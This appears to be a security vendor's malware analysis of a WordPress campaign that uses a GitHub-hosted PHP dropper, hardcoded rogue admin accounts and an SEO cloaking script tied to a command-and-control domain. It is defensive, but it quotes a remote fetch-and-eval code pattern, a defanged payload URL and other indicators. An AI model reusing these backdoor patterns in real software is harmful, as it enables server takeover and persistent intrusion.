‍

The campaign is defined by its ability to compromise a server silently and maintain persistent administrative access. By integrating the "jgalls" components, the attacker can monetize the site via search engine spam while ensuring the infection resists standard cleanup efforts by rebuilding itself from remote sources.

1. How the Malware Is Introduced

The initial infection typically occurs through one or more of the following attack vectors, all of which are well-documented entry points for WordPress compromises:

• Vulnerable plugins or themes: Attackers scan the internet for WordPress installations running outdated plugins or themes with known vulnerabilities. A single unpatched plugin can give an attacker the ability to upload arbitrary files to the server.
  
  
• Weak or reused credentials: Brute-force attacks against the WordPress login page or cPanel/FTP accounts with weak passwords are a very common entry point.
  
  
• Compromised hosting environments: Shared hosting environments can allow a compromised neighbour site to write files to your server.
  
  
• Supply chain attacks: Malicious code injected into premium plugins or theme nulled (pirated) copies is a frequent delivery mechanism.

Once access is obtained, the attacker typically uploads a small dropper script — in this case File 3, the remote code execution dropper — which then fetches and runs the rest of the payload from an external GitHub repository. This approach means the actual malicious code never has to touch the disk directly until it is ready to execute.

2. The Attack Chain: Three Components

This campaign uses three distinct PHP files that work together as a coordinated system. Each has a specific role.

Component 1: The Dropper (Remote Code Execution)

This is the entry point of the attack and the most dangerous of the three files. Its sole job is to fetch a PHP file hosted on a public GitHub repository and execute it immediately in memory using PHP's eval() function.

The key line of code is:

$output = curl_exec($ch);

echo eval("?>" . $output);

This means the attacker stores their actual payload at:

hxxps://raw[.]githubusercontent[.]com/nT7TVOY/htaccess99/main/ma3.php

By hosting the payload externally, the attacker gains several advantages. They can change what the script does at any time without touching the compromised server. The actual malicious code is not stored on disk, making it harder to detect with file scanners. The script uses heavy obfuscation through random goto labels and junk PHP tags (including non-Latin Unicode characters) to confuse automated analysis tools and make manual review tedious.

This dropper is almost certainly responsible for placing the other two files on the server during the initial infection phase.

Component 2: The Backdoor Account Creator

This script's purpose is to ensure the attacker always has administrator-level access to the WordPress dashboard, even if all other malicious files are discovered and removed. It works by loading the site's wp-config.php to bootstrap WordPress, then calling the native wp_insert_user() function to create two hardcoded administrator accounts:

User 1:

• User: londonwriter
• Password: *********
• Email: artif85acts4@gmail.com

‍

User 2:

• User: nycbloger
• ***********
• mades85licious@gmail.com
  

After creating the accounts, the script deletes itself with unlink('/tmp/x.php') to remove evidence of its execution. The Chinese-language strings embedded in the echo statements (reporting success or failure of account creation) suggest the threat actor operates from a Chinese-speaking environment.

The use of two accounts with plausible-sounding names ('londonwriter', 'nycblogger') is deliberate — they are designed to blend in with legitimate user accounts and not immediately raise suspicion during a routine admin review.

Component 3: The SEO Cloaking Engine

This is the monetisation layer of the attack. Once the attacker has persistent access via the backdoor accounts, this script runs on the compromised pages to serve entirely different content to search engine crawlers versus real visitors — a technique known as cloaking, which is explicitly prohibited by Google and other search engines.

The script operates as follows:

• It detects the visitor's real IP address, checking multiple HTTP headers to work correctly behind Cloudflare and other proxies.
  
  
• If the visitor is identified as Googlebot (IP 66.249.82.x range), it fetches SEO spam content from the attacker's command-and-control server at to.jgalls.com and serves it in place of the real page content.
  
  
• If the visitor is a real human, they see either nothing, a clean page, or a redirect — so they have no idea anything is wrong.
  
  
• The script poisons the site's robots.txt file by injecting a Sitemap: entry pointing back to itself, which tells Google to index all the spam pages.
  
  
• Responses from the C2 server are cached in PHP temp files to reduce network traffic and avoid detection through unusual outbound connection patterns.

‍

The end result is that the compromised site becomes a vehicle for ranking spam content in Google — typically pharmaceutical spam, gambling links, or other prohibited content — while the legitimate site owner remains completely unaware.

3. What the Attacker Is Attempting

This campaign pursues several overlapping goals:

• Financial gain through SEO spam: By ranking spam content through legitimate websites with existing domain authority, the attacker earns commissions from pharmaceutical, gambling, or other affiliate schemes without spending on advertising.
  
  
• Persistent server access: The administrator accounts ensure the attacker can return to the site at any time, re-upload cleaned files, install additional malware, or pivot to other actions such as credential harvesting or hosting phishing pages.
  
  
• Remote control and adaptability: By hosting the core payload on GitHub, the attacker can update their tools at any time without touching the server, making the infection extremely difficult to fully eradicate without finding all entry points.
  
  
• Reputation damage and SEO penalties: Even after cleanup, Google may flag the compromised domain as suspicious or drop its search rankings, causing lasting harm to the legitimate site owner.

4. Indicators of Compromise (IOCs)

The following indicators can be used to detect this infection or related campaigns. Security teams should add these to monitoring tools, WAF blocklists, and threat intelligence platforms.

Network IOCs
URL (C2 Server)

• Indicator: to[.]jgalls[.]com
• Description: Acts as a Command and Control server that serves SEO spam content and classifies visitor IP addresses to filter targets.

URL (Payload Delivery)

• Indicator: raw[.]githubusercontent[.]com/nT7TVOY/htaccess99/main/ma3.php
• Description: The delivery mechanism where a dropper fetches and executes the primary malicious PHP file.

GitHub User (Attacker Domain)

• Indicator: nT7TVOY
• Description: An attacker-controlled GitHub account used to host malicious payloads and scripts.

IP Address (Cloaking)

• Indicator: 66[.]249[.]82[.]8
• Description: A hardcoded Googlebot IP address used in the malware's cloaking detection logic to hide malicious activity from search engine crawlers.

File & Filesystem IOCs

• Indicator: /tmp/x.php
• Description: A self-deleting dropper script. Because it deletes itself after execution, it may only be visible for a very short window.

Code Pattern (Obfuscation Technique)

• Indicator: goto label obfuscation
• Description: PHP files containing many random, nonsensical labels (e.g., YIaiN:, WpLTF:). This is a strong indicator of automated malware obfuscation designed to hinder manual code review.

Injected Configuration (SEO Spam)

• Indicator: Sitemap: ...?w=YmdHi in robots.txt
• Description: A non-legitimate sitemap entry. The use of the date() format string (YmdHi) as a parameter is a signature of dynamic spam link generation.

Temporary Files (Persistence & Caching)

• Indicator: /tmp/cache_*.php
• Description: Cached C2 responses stored locally by the cloaking script to reduce the frequency of external requests and speed up malicious content delivery.

WordPress User IOCs
Usernames (Rogue Administrators)

• Indicator: londonwriter
• Description: A rogue administrator account created by a backdoor script to maintain persistence on the system.
• Indicator: nycblogger
• Description: A second rogue administrator account created via the same backdoor script.

Email Addresses (Attacker-Linked)

• Indicator: artif85acts4@gmail.com
• Description: The email address associated with the londonwriter account.
• Indicator: mades85licious@gmail.com
• Description: The email address associated with the nycblogger account.

Password (Credential Pattern)

• Indicator: ******** (Shared Password)
• Description: A hardcoded password used across both rogue accounts, indicating a scripted or automated creation process.

Code Pattern IOCs

Malicious Code Patterns (RCE & Persistence)

• Remote Code Execution (RCE)
  
  • Indicator: eval("?>" . curl_exec(...))
  • Description: A highly dangerous pattern that fetches remote PHP code via cURL and executes it immediately. This allows the attacker to run any command on your server without leaving a permanent file.
• Privilege Escalation
  
  • Indicator: wp_insert_user(...administrator...)
  • Description: Programmatic creation of a WordPress administrator account. While a standard function, its presence in a non-plugin context (like a core file or a standalone script) is a definitive sign of a backdoor.
• C2 Communication
  
  • Indicator: getCurlFast($jd . "getdomain2.aspx")
  • Description: A specific function call used to reach out to the Command and Control (C2) server for IP classification, likely to determine if a visitor is a human, a bot, or a security researcher.
• File System Tampering
  
  • Indicator: file_put_contents($robots, $sitemapLine)
  • Description: The automated mechanism used to inject malicious sitemap entries into the robots.txt file, facilitating SEO poisoning.

Note: The specific IP addresses & domains provided above are the ones observed during the investigation. Specific, actionable IPs & domains should be validated with your threat intelligence feeds.

‍